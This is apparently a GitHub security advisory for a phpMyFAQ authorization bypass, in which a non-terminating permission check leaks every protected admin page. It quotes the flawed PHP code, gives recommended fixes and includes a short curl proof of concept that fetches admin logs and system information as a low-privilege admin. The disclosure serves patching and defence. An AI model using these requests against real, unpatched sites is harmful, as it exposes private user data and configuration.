GHSA-HPGW-WW76-C68R
Vulnerability from github – Published: 2026-05-06 20:11 – Updated: 2026-05-06 20:11Summary
AbstractAdministrationController::userHasPermission() catches the ForbiddenException thrown when a user lacks a specific permission, sends a "forbidden" HTML page via $response->send(), but does not terminate execution. The calling controller method continues to execute, fetches protected data, renders the full template, and returns it as a Response. The final $response->send() in admin/index.php outputs the protected page content after the forbidden page, leaking all permission-protected admin data to any authenticated admin user regardless of their actual permissions.
Details
The parent class AbstractController::userHasPermission() (phpmyfaq/src/phpMyFAQ/Controller/AbstractController.php:317-327) correctly enforces authorization by throwing a ForbiddenException when the user lacks the required permission. This exception would normally propagate to Symfony's HttpKernel exception handler, which would return an error response and prevent the controller from continuing.
However, AbstractAdministrationController overrides this method at line 390-399:
#[\Override]
protected function userHasPermission(PermissionType $permissionType): void
{
try {
parent::userHasPermission($permissionType);
} catch (ForbiddenException $exception) {
$response = $this->getForbiddenPage($exception->getMessage());
$response->send(); // Outputs HTML but does NOT terminate execution
} catch (Exception $exception) {
$this->configuration->getLogger()->error($exception->getMessage());
// Only logs, no response, no termination
}
}
The critical flaw: after $response->send() at line 396, there is no exit(), die(), return, or re-throw. PHP execution continues normally into the calling controller method.
For example, in AdminLogController::index() (phpmyfaq/src/phpMyFAQ/Controller/Administration/AdminLogController.php:45-83):
public function index(Request $request): Response
{
$this->userHasPermission(PermissionType::STATISTICS_ADMINLOG);
// ^^^ If user lacks permission: forbidden page is echoed, but execution continues
// ... all of this still executes:
$loggingData = $this->adminLog->getAll(); // Fetches ALL admin log entries
// ...
return $this->render('@admin/statistics/admin-log.twig', [
// ... full admin log data including IPs, usernames, actions
'loggingData' => $currentItems,
]);
}
The entry point admin/index.php then calls $response->send() on the returned Response, appending the full protected page to the already-sent forbidden page in the HTTP response body.
The second catch block (line 397-398) for generic Exception is even worse — it only logs the error without sending any response or terminating, so the protected page renders with no forbidden notice at all.
58 admin controllers extend AbstractAdministrationController and call userHasPermission(), meaning every permission-protected admin page is affected. This includes:
- Admin logs (user IPs, actions, usernames)
- User management (user data, permissions)
- System information (server configuration, PHP info)
- Configuration pages (all application settings)
- Backup pages
- All other admin functionality
PoC
-
Create a test admin user with minimal permissions (e.g., only FAQ editing, no statistics access):
-
Authenticate as the limited admin user and request a permission-protected page:
# Get admin session cookies by logging in
curl -c cookies.txt -d 'faqusername=limited_admin&faqpassword=password&pmf-csrf-token=TOKEN' \
'https://TARGET/admin/?action=login'
# Access admin log page (requires STATISTICS_ADMINLOG permission)
curl -b cookies.txt -s 'https://TARGET/admin/statistics/admin-log' | tee response.html
# The response contains BOTH the forbidden page HTML AND the full admin log:
grep -c 'You are not allowed' response.html # 1 — forbidden page was sent
grep -c 'loggingData\|ad_adminlog_ip' response.html # matches — admin log data also present
# Access system information (requires CONFIGURATION_EDIT permission)
curl -b cookies.txt -s 'https://TARGET/admin/system-information' | tee sysinfo.html
# Contains PHP version, extensions, database info, server configuration
- The HTTP response body contains the forbidden page HTML followed by the full protected page HTML, including all sensitive data.
Impact
Any authenticated admin user — even one with zero administrative permissions beyond basic login — can access every permission-protected admin page by simply requesting its URL. The permission check sends a forbidden page but does not stop execution, so the protected content is always appended to the response.
Exposed data includes: - Admin logs: All admin users' IP addresses, actions, and timestamps - User management: User accounts, email addresses, permissions - System information: PHP configuration, database details, server paths - Configuration: All application settings including security-sensitive values - Backups: Database export functionality
This effectively renders the entire admin permission system non-functional for the 58 page controllers using AbstractAdministrationController.
Recommended Fix
Add return after sending the forbidden response, and re-throw for the generic Exception case:
#[\Override]
protected function userHasPermission(PermissionType $permissionType): void
{
try {
parent::userHasPermission($permissionType);
} catch (ForbiddenException $exception) {
$response = $this->getForbiddenPage($exception->getMessage());
$response->send();
exit; // Terminate execution to prevent controller from continuing
} catch (Exception $exception) {
$this->configuration->getLogger()->error($exception->getMessage());
throw $exception; // Re-throw to prevent controller from continuing
}
}
A cleaner architectural fix would be to not swallow the exception at all, and instead let it propagate to the Symfony HttpKernel exception handler (which already handles ForbiddenException via WebExceptionListener):
#[\Override]
protected function userHasPermission(PermissionType $permissionType): void
{
// Simply delegate to parent — let ForbiddenException propagate
// to the WebExceptionListener which renders the appropriate error page
parent::userHasPermission($permissionType);
}
Or remove the override entirely, since the WebExceptionListener registered in the Kernel already handles exception-to-response conversion.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T20:11:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`AbstractAdministrationController::userHasPermission()` catches the `ForbiddenException` thrown when a user lacks a specific permission, sends a \"forbidden\" HTML page via `$response-\u003esend()`, but does not terminate execution. The calling controller method continues to execute, fetches protected data, renders the full template, and returns it as a Response. The final `$response-\u003esend()` in `admin/index.php` outputs the protected page content after the forbidden page, leaking all permission-protected admin data to any authenticated admin user regardless of their actual permissions.\n\n## Details\n\nThe parent class `AbstractController::userHasPermission()` (`phpmyfaq/src/phpMyFAQ/Controller/AbstractController.php:317-327`) correctly enforces authorization by throwing a `ForbiddenException` when the user lacks the required permission. This exception would normally propagate to Symfony\u0027s HttpKernel exception handler, which would return an error response and prevent the controller from continuing.\n\nHowever, `AbstractAdministrationController` overrides this method at line 390-399:\n\n```php\n#[\\Override]\nprotected function userHasPermission(PermissionType $permissionType): void\n{\n try {\n parent::userHasPermission($permissionType);\n } catch (ForbiddenException $exception) {\n $response = $this-\u003egetForbiddenPage($exception-\u003egetMessage());\n $response-\u003esend(); // Outputs HTML but does NOT terminate execution\n } catch (Exception $exception) {\n $this-\u003econfiguration-\u003egetLogger()-\u003eerror($exception-\u003egetMessage());\n // Only logs, no response, no termination\n }\n}\n```\n\nThe critical flaw: after `$response-\u003esend()` at line 396, there is no `exit()`, `die()`, `return`, or re-throw. PHP execution continues normally into the calling controller method.\n\nFor example, in `AdminLogController::index()` (`phpmyfaq/src/phpMyFAQ/Controller/Administration/AdminLogController.php:45-83`):\n\n```php\npublic function index(Request $request): Response\n{\n $this-\u003euserHasPermission(PermissionType::STATISTICS_ADMINLOG);\n // ^^^ If user lacks permission: forbidden page is echoed, but execution continues\n\n // ... all of this still executes:\n $loggingData = $this-\u003eadminLog-\u003egetAll(); // Fetches ALL admin log entries\n // ...\n return $this-\u003erender(\u0027@admin/statistics/admin-log.twig\u0027, [\n // ... full admin log data including IPs, usernames, actions\n \u0027loggingData\u0027 =\u003e $currentItems,\n ]);\n}\n```\n\nThe entry point `admin/index.php` then calls `$response-\u003esend()` on the returned Response, appending the full protected page to the already-sent forbidden page in the HTTP response body.\n\nThe second `catch` block (line 397-398) for generic `Exception` is even worse \u2014 it only logs the error without sending any response or terminating, so the protected page renders with no forbidden notice at all.\n\n**58 admin controllers** extend `AbstractAdministrationController` and call `userHasPermission()`, meaning every permission-protected admin page is affected. This includes:\n- Admin logs (user IPs, actions, usernames)\n- User management (user data, permissions)\n- System information (server configuration, PHP info)\n- Configuration pages (all application settings)\n- Backup pages\n- All other admin functionality\n\n## PoC\n\n1. Create a test admin user with minimal permissions (e.g., only FAQ editing, no statistics access):\n\n2. Authenticate as the limited admin user and request a permission-protected page:\n\n```bash\n# Get admin session cookies by logging in\ncurl -c cookies.txt -d \u0027faqusername=limited_admin\u0026faqpassword=password\u0026pmf-csrf-token=TOKEN\u0027 \\\n \u0027https://TARGET/admin/?action=login\u0027\n\n# Access admin log page (requires STATISTICS_ADMINLOG permission)\ncurl -b cookies.txt -s \u0027https://TARGET/admin/statistics/admin-log\u0027 | tee response.html\n\n# The response contains BOTH the forbidden page HTML AND the full admin log:\ngrep -c \u0027You are not allowed\u0027 response.html # 1 \u2014 forbidden page was sent\ngrep -c \u0027loggingData\\|ad_adminlog_ip\u0027 response.html # matches \u2014 admin log data also present\n\n# Access system information (requires CONFIGURATION_EDIT permission) \ncurl -b cookies.txt -s \u0027https://TARGET/admin/system-information\u0027 | tee sysinfo.html\n# Contains PHP version, extensions, database info, server configuration\n```\n\n3. The HTTP response body contains the forbidden page HTML followed by the full protected page HTML, including all sensitive data.\n\n## Impact\n\nAny authenticated admin user \u2014 even one with zero administrative permissions beyond basic login \u2014 can access **every** permission-protected admin page by simply requesting its URL. The permission check sends a forbidden page but does not stop execution, so the protected content is always appended to the response.\n\nExposed data includes:\n- **Admin logs**: All admin users\u0027 IP addresses, actions, and timestamps\n- **User management**: User accounts, email addresses, permissions\n- **System information**: PHP configuration, database details, server paths\n- **Configuration**: All application settings including security-sensitive values\n- **Backups**: Database export functionality\n\nThis effectively renders the entire admin permission system non-functional for the 58 page controllers using `AbstractAdministrationController`.\n\n## Recommended Fix\n\nAdd `return` after sending the forbidden response, and re-throw for the generic Exception case:\n\n```php\n#[\\Override]\nprotected function userHasPermission(PermissionType $permissionType): void\n{\n try {\n parent::userHasPermission($permissionType);\n } catch (ForbiddenException $exception) {\n $response = $this-\u003egetForbiddenPage($exception-\u003egetMessage());\n $response-\u003esend();\n exit; // Terminate execution to prevent controller from continuing\n } catch (Exception $exception) {\n $this-\u003econfiguration-\u003egetLogger()-\u003eerror($exception-\u003egetMessage());\n throw $exception; // Re-throw to prevent controller from continuing\n }\n}\n```\n\nA cleaner architectural fix would be to not swallow the exception at all, and instead let it propagate to the Symfony HttpKernel exception handler (which already handles `ForbiddenException` via `WebExceptionListener`):\n\n```php\n#[\\Override]\nprotected function userHasPermission(PermissionType $permissionType): void\n{\n // Simply delegate to parent \u2014 let ForbiddenException propagate\n // to the WebExceptionListener which renders the appropriate error page\n parent::userHasPermission($permissionType);\n}\n```\n\nOr remove the override entirely, since the `WebExceptionListener` registered in the Kernel already handles exception-to-response conversion.",
"id": "GHSA-hpgw-ww76-c68r",
"modified": "2026-05-06T20:11:52Z",
"published": "2026-05-06T20:11:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-hpgw-ww76-c68r"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ has an Authorization Bypass in All Admin Pages Due to Non-Terminating Permission Check"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.